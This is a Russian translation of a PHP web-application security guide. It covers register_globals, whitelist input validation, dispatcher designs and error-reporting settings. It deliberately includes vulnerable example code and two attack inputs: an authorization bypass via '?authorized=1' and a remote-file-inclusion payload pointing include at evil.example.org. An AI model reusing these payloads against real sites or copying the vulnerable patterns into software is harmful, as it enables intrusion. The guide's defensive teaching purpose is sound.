Безопасность является метрикой, а не характеристикой.
К несчастью, многие программные проекты называют безопасность обычным требованием. Разве это безопасно?
Безопасность должна быть сбалансирована со стоимостью.
Довольно просто и относительно недорого предоставить достаточный уровень безопасности для большинства приложений. Однако, если вы хотите защитить очень ценную информацию, то требования к безопасности резко возрастают, и вам придется увеличить плату за требуемый уровень безопасности. Это стоимость должна быть обязательно включена в бюджет проекта.
Безопасность должна быть сбалансирована с практичностью.
Нередко шаги, предпринятые для увеличения безопасности веб-приложения также сказываются пагубно на практичности. Пароли, таймауты сессий, и контроль доступа - все это создает преграды для пользователя. Иногда этого достаточно, чтобы обеспечить достаточный уровень безопасности, однако нет идеального решения, применимого ко всем приложениям. При реализации требований к безопасности всегда полезно думать о законных пользователях системы.
Безопасность должна быть частью дизайна приложения.
Если вы разрабатываете ваше приложение, не рассматривая вопросы безопасности, то вы обречены постоянно узнавать о новых уязвимостях. Нельзя программировать безопасно в рамках плохого дизайна.
Учитывайте возможность незаконного использования вашего приложения.
Безопасный дизайн является только частью решения. Во время написания кода, важно предусматривать незаконные способы использования вашего приложения. Часто фокусировка только на том, чтобы программа отвечала только предъявленным функциональным требованиям, не приводит к созданию безопасного приложения.
Постоянно обучайтесь.
То, что вы читаете это руководство очевидно говорит о том, что вы заботитесь о безопасности, но как бы банально это не звучало, обучение является самым важным шагом. Существует много ресурсов по безопасности в веб и в печатном виде. Некоторые из них приведены по адресу http://phpsec.org/library/.
ПРОВЕРЯЙТЕ ВСЕ ВНЕШНИЕ ДАННЫЕ.
Обработка данных является краеугольным камнем безопасности веб-приложений, независимо от языка программирования или платформы. Инициализируя ваши переменные и проверяя все данные, приходящие извне, вы избавитесь от большинства уязвимостей. Метод "белого списка" лучше, чем метод "черного списка". Это значит, что вы должны считать все данные изначально неверными, до тех пока они не пройдут проверку, и не станут верными.
Директива register_globals по умолчанию отключена в PHP версий 4.2.0 и выше. Включение этой директивы предоставляет риск для безопасности. Поэтому, вы всегда должны разрабатывать и поставлять приложения с отключенным register_globals.
Почему это риск? Наиболее часто приводимый пример находиться в руководстве по PHP:
<?php
if (authenticated_user())
{
$authorized = true;
}
if ($authorized)
{
include '/highly/sensitive/data.php';
}
?>
Если директива register_globals включена, то для того, чтобы обойти предполагаемую проверку доступа, можно обратиться к этой странице, добавив параметр ?authorized=1 в строку запроса. Конечно, такая уязвимость является ошибкой разработчика, а не register_globals, но это показывает увеличенный риск, предоставляемый директивой. Без нее, обычные глобальные переменные (такие как $authorized в примере) не изменяются данными, переданными клиентом. Лучшей практикой является инициализация всех переменных и написание кода с установлением уровня отчета об ошибках error_reportiog в E_ALL для того, чтобы использование неинициализированных переменных не было пропущено во время разработки.
Следующий пример показывает как register_globals может обернуться проблемой заключается в использовании include с динамическим путем:
<?php include "$path/script.php"; ?php>
При включенной register_globals, к этой странице можно обратиться с параметром ?path=http%3A%2F%2Fevil.example.org%2F%2F%3F в строке запроса для того, чтобы наш пример был равен следующему:
<?php include 'http://evil.example.org/?/script.php'; ?php>
Если allow_url_fopen будет включена (что по умолчанию верно, даже в php.ini -recommended), то код подключит вывод ресурса http://evil.example.org/ так, будто бы это был локальный файл. Это важна уязвимость в безопасности, и она была обнаружена в некоторых приложениях с открытым кодом.
Инициализация переменной $path может уменьшить риск, но отключение register_globals делает тоже самое. Несмотря на то, что ошибка разработчика может привести к неинициализированной переменной, отключение register_globals является изменением глобальной конфигурации, которое трудно упустить.
Включение директивы добавляет определенное удобство, и те, кому раньше приходилось обрабатывать данные с форм вручную, ценят его. Тем не менее, использование глобальных массивов $_POST и $_GET тоже очень удобно, и включение register_globals не стоит того риска, которого добавляет эта директива. Поэтому я рекомендую отключать register_globals.
Ко всему прочему, отключение register_globals подталкивает разработчиков подумать об источнике данных, и это является важной характеристикой любого разработчика, сведущего в безопасности.
Как утверждалось ранее, проверка данных является краеугольным камнем безопасности веб-приложения независимо от языка программирования или платформы. Она подразумивает механизм, по которому вы определяете достоверность данных, которые поступают в или поставляются вашим приложением, и хороший дизайн программного обеспечения может помочь разработчикам:
Мнения насчет того, как убедиться, что проверку данных нельзя обойти, могут различаться, но существует два основных метода, которые считаются наиболее распространенными, и которые предоставляют достаточный уровень безопасности.
Метод заключается в наличии одного php-скрипта, доступного непосредственно из сети (через URL). Все остальное это модули, подключаемые через include или require по мере надобности. Этот метод обычно требует наличие некоторой переменной в строке каждого запроса, указывающей на нужную операцию. Эту переменную можно считать заменой названия скрипта, которое использовалось бы в более упрощенном дизайне. Например:
http://example.org/dispatch.php?task=print_form
Файл dispatch.php является единственным доступным в каталоге документов. Это позволяет разработчику выполнить следующие важные вещи:
Следующий пример поясняет это. Файл dispatch.php:
<?php
/* Глобальные проверки безопасности */
switch ($_GET['task'])
{
case 'print_form':
include '/inc/presentation/form.inc';
break;
case 'process_form':
$form_valid = false;
include '/inc/logic/process.inc';
if ($form_valid)
{
include '/inc/presentation/end.inc';
}
else
{
include '/inc/presentation/form.inc';
}
break;
default:
include '/inc/presentation/index.inc';
break;
}
?>
Если это единственный доступный php-скрипт, то должно быть ясно, что такой дизайн приложения дает уверенность в том, что любые проверки безопасности, предпринятые в начале, нельзя обойти. Также это позволяет разработчику видеть поток выполнения отдельного задания. Например, вместо того чтобы просматривать большой участок кода, достаточно легко увидеть, что файл end.inc отобразиться пользователю в случае, когда $form_valid равна true, и из-за того, что эта переменная установлена в false перед включением process.inc, становиться ясно, что внутри process.inc, $form_valid должна быть установлена в true, иначе форма будет отображена снова ( возможно с надлежащими сообщениями об ошибке).
Примечание
Если вы используете индексный файл директории наподобие index.php (вместо dispatch.php), то вы можете вводить пути, наподобие http://example.org/?task=print_form.
Вы также можете использовать директиву ForceType или mod_rewrite для того, чтобы можно было вводить запросы, вроде http://example.org/app/print-form.
Другой подход заключается в наличие одного модуля, которые отвечает за все проверки безопасности. Этот модуль будет подключаться вначале (или чуть ниже) всех доступных через URL php-скриптов. Допустим, файл secutiry.inc имеет следующее содержание:
<?php
switch ($_POST['form'])
{
case 'login':
$allowed = array();
$allowed[] = 'form';
$allowed[] = 'username';
$allowed[] = 'password';
$sent = array_keys($_POST);
if ($allowed == $sent)
{
include '/inc/logic/process.inc';
}
break;
}
?>
В этом примере ожидается, что каждая форма, с помощью которой пользователь посылает данные, должна включать в себя переменную с именем form, которая уникально идентифицирует эту форму. И файл secure.inc содержит отдельную часть для обработки данных от этой формы. Пример HTML-формы, которая удовлетворяет этому требованию:
<form action="/receive.php" method="POST"> <input type="hidden" name="form" value="login" /> <p>Username: <input type="text" name="username" /></p> <p>Password: <input type="password" name="password" /></p> <input type="submit" /> </form>
Массив $allowed используется для обозначения переменных, которые дозволено получать от формы. И соответственно форма должна содержать точно такие же переменные для того, чтобы прошла ее обработка. Поток выполнения определен где-то в другом месте, и файл process.inc - место где и проходит действительная обработка данных.
Примечание
Хорошим способом убедиться, что файл secure.inc всегда подключается в начале каждого скрипта, является использование директивы auto_prepend_file.
Очень важно использовать метод "белого списка" при проверке данных. Невозможно привести пример для каждого типа данных, но несколько примеров помогут понять вышеназванный метод.
Следующий код проверяет адрес электронной почты на достоверность:
<?php
$clean = array();
$email_pattern = '/^[^@\s<&>]+@([-a-z0-9]+\.)+[a-z]{2,}$/i';
if (preg_match($email_pattern, $_POST['email']))
{
$clean['email'] = $_POST['email'];
}
?>
Далее проверяем, содержит ли $_POST['color'] одно из red, green или blue:
<?php
$clean = array();
switch ($_POST['color'])
{
case 'red':
case 'green':
case 'blue':
$clean['color'] = $_POST['color'];
break;
}
?>
Следующий пример проверяет, является ли $_POST['num'] целым числом:
<?php
$clean = array();
if ($_POST['num'] == strval(intval($_POST['num'])))
{
$clean['num'] = $_POST['num'];
}
?>
Следующий пример удостоверяется в том, является ли $_POST['num'] числом с плавающей точкой:
<?php
$clean = array();
if ($_POST['num'] == strval(floatval($_POST['num'])))
{
$clean['num'] = $_POST['num'];
}
?>
Каждый из предыдущих примеров использует массив с именем $clean. Это пример хорошей практики, которая помогает разработчикам определить где данные потенциально неверны. Никогда не оставляйте данные в массивах $_POST или $_GET после проверки, т.к. очень важно для разработчиков относиться с подозрением к данным, находящимся в этих супермассивах.
Также более свободное использование массива $clean позволить вам считать все остальные данные недостоверными, что напоминает метод "белого списка", и тем самым предоставляет более высокий уровень безопасности.
Если вы только сохраняете данные в массив $clean после их проверки, то единственным риском ошибиться является ссылка на элемент массива, который не существует, нежели на испорченные данные.
Php-скрипт начинает обработку только после того, как HTTP-запрос был полностью получен. Это означает, что пользователь не имеет другой возможности отправить данные, и следовательно никакая информация не может быть вставлена в ваш скрипт ( даже если включена register_globals). Вот почему инициализация ваших переменных является хорошей практикой.
В версиях PHP, предшествующих PHP 5, выпущенной 13 июля 2004 года, отчетность об ошибках была достаточно проста. Помимо аккуратного программирование, она основывалась в основном на нескольких специальных директивах конфигурации PHP:
error_reporting
Эта директива устанавливает предпочитаемый уровень отчетности об ошибках. Строго рекомендуется, чтобы вы устанавливали директиву в E_ALL
display_errors
Эта директива определяет должны ли выводиться ошибки на экран. Вы должны разрабатывать приложения, установив значение этой директивы в On, для того, чтобы быть уведомленным об ошибках. При поставке приложения, вы должны устанавливать display_errors в значение Off для того, чтобы пользователи (и потенциальные нарушители) не видели этих сообщений.
log_errors
Эта директива определяет должны ли ошибки записываться в лог-файл. При этом предпочтительно, чтобы ошибки были достаточны редкими, т.к. иначе может упасть производительность приложения. При поставке приложения вы должны устанавливать эту директиву в значение On.
error_log
Эта директива указывает расположение лог-файла. Убедитесь в том, что сервер имеет права на запись в указанный файл.
Установка директивы error_reporting в значение E_ALL развивает привычку инициализировать переменные, т.к. использование неопределенной переменной генерирует замечание.
Примечание
Значение каждой из этих директив может быть установлено с помощью функции ini_set(), в случае если вы не имеете доступа к php.ini или к другому способу изменения этих директив.
Хорошая ссылка на обработку ошибок и функции отчетности находится в руководстве по PHP:
http://www.php.net/manual/en/ref.errrofunc.php
PHP 5 включает в себя обработку исключений. Для более подробной информации: